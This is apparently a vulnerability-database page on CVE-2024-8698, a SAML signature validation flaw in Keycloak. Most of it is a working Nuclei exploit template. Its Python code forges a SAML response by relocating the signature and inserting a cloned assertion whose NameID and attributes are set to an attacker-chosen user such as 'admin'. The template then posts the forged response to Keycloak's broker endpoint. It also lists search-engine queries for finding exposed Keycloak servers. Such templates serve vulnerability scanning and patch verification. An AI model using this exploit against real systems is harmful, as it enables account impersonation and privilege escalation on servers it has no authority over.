CVE-2024-8698: Keycloak - SAML Core Package Signature Validation Flaw

日期: 2025-08-01 | 影响软件: Keycloak | POC: 已公开

漏洞描述

A flaw exists in the SAML signature validation method within the Keycloak XMLSignatureUtil class. The method incorrectly determines whether a SAML signature is for the full document or only for specific assertions based on the position of the signature in the XML document, rather than the Reference element used to specify the signed element. This flaw allows attackers to create crafted responses that can bypass the validation, potentially leading to privilege escalation or impersonation attacks.

PoC代码[已公开]

id: CVE-2024-8698

info:
  name: Keycloak - SAML Core Package Signature Validation Flaw
  author: iamnoooob,rootxharsh,pdresearch
  severity: high
  description: |
    A flaw exists in the SAML signature validation method within the Keycloak XMLSignatureUtil class. The method incorrectly determines whether a SAML signature is for the full document or only for specific assertions based on the position of the signature in the XML document, rather than the Reference element used to specify the signed element. This flaw allows attackers to create crafted responses that can bypass the validation, potentially leading to privilege escalation or impersonation attacks.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-8698
    - https://access.redhat.com/errata/RHSA-2024:6878
    - https://access.redhat.com/errata/RHSA-2024:6879
    - https://access.redhat.com/errata/RHSA-2024:6880
    - https://access.redhat.com/errata/RHSA-2024:6882
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:L
    cvss-score: 7.7
    cve-id: CVE-2024-8698
    cwe-id: CWE-347
    epss-score: 0.7958
    epss-percentile: 0.99057
  metadata:
    verified: true
    max-request: 1
    vendor: redhat
    product: keycloak
    shodan-query: http.favicon.hash:"-1105083093"
    fofa-query: icon_hash=-1105083093
    google-query: intitle:"keycloak"
  tags: cve,cve2024,keycloak,saml,signature

variables:
  AUTH_SESSION_ID_LEGACY: "{{auth_cookie}}" # Cookie of the valid SAMLResponse message
  RELAYSTATE: "{{relayState}}" # Relaystate linked to the Cookie

code:
  - engine:
      - py
      - python3 # requires python to be pre-installed on system running nuclei
    source: |
      import os
      import base64
      import urllib.parse
      from lxml import etree

      # Get environment variables
      username = b'admin@example.com'
      saml_response = os.getenv('SAMLResponse')
      username = os.getenv('username')
      if not username:
          username='admin'
      # Decode and parse the SAML response
      xml_content = base64.b64decode(urllib.parse.unquote(saml_response))
      parser = etree.XMLParser(remove_blank_text=True)
      root = etree.fromstring(xml_content, parser)

      # Define namespaces
      namespaces = {
          'samlp': 'urn:oasis:names:tc:SAML:2.0:protocol',
          'saml': 'urn:oasis:names:tc:SAML:2.0:assertion',
          'ds': 'http://www.w3.org/2000/09/xmldsig#'
      }

      # Find the <ds:Signature> element inside the root
      response_signature = root.find('.//ds:Signature', namespaces)
      if response_signature is not None:
          root.remove(response_signature)  # Remove the <ds:Signature> element from the root

      # Find the <saml:Assertion> element (this is the old assertion)
      old_ass = root.find('.//saml:Assertion', namespaces)
      ass_signode = old_ass.find('./ds:Signature',namespaces)
      if ass_signode is not None:
          old_ass.remove(ass_signode)
      issuer = root.find('.//saml:Issuer', namespaces)
      issuer.addnext(ass_signode)
      mod_ass = etree.fromstring(etree.tostring(old_ass))
      mod_ass.find('.//saml:NameID',namespaces).text = username
      for s in mod_ass.findall('.//saml:AttributeValue',namespaces):
              s.text = username
      mod_ass.attrib['ID'] = mod_ass.attrib['ID'][:-1]
      resp_issuer = root.find('.//samlp:Status', namespaces)
      resp_issuer.addnext(mod_ass)


      modified_saml_response = etree.tostring(root, pretty_print=False, encoding='UTF-8', xml_declaration=False).decode('utf-8')
      print(modified_saml_response)

http:
  - raw:
      - |
        POST /realms/master/broker/saml/endpoint HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: AUTH_SESSION_ID_LEGACY={{AUTH_SESSION_ID_LEGACY}}

        RelayState={{RELAYSTATE}}&SAMLResponse={{urlencode(base64(code_response))}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 302'
          - 'contains_all(header,"KEYCLOAK_IDENTITY","KEYCLOAK_SESSION")'
        condition: and
# digest: 4b0a00483046022100c48f641a46f64ba0668359cda60f990a8646ea70fa607b23a6e4873eba3887e4022100d7cbbdc9f2b4917ddf3f49fc14051d1c92b11bb829bf5c8dd1f10f2a53e96ed8:922c64590222798bb761d5b6d8e72950

相关漏洞推荐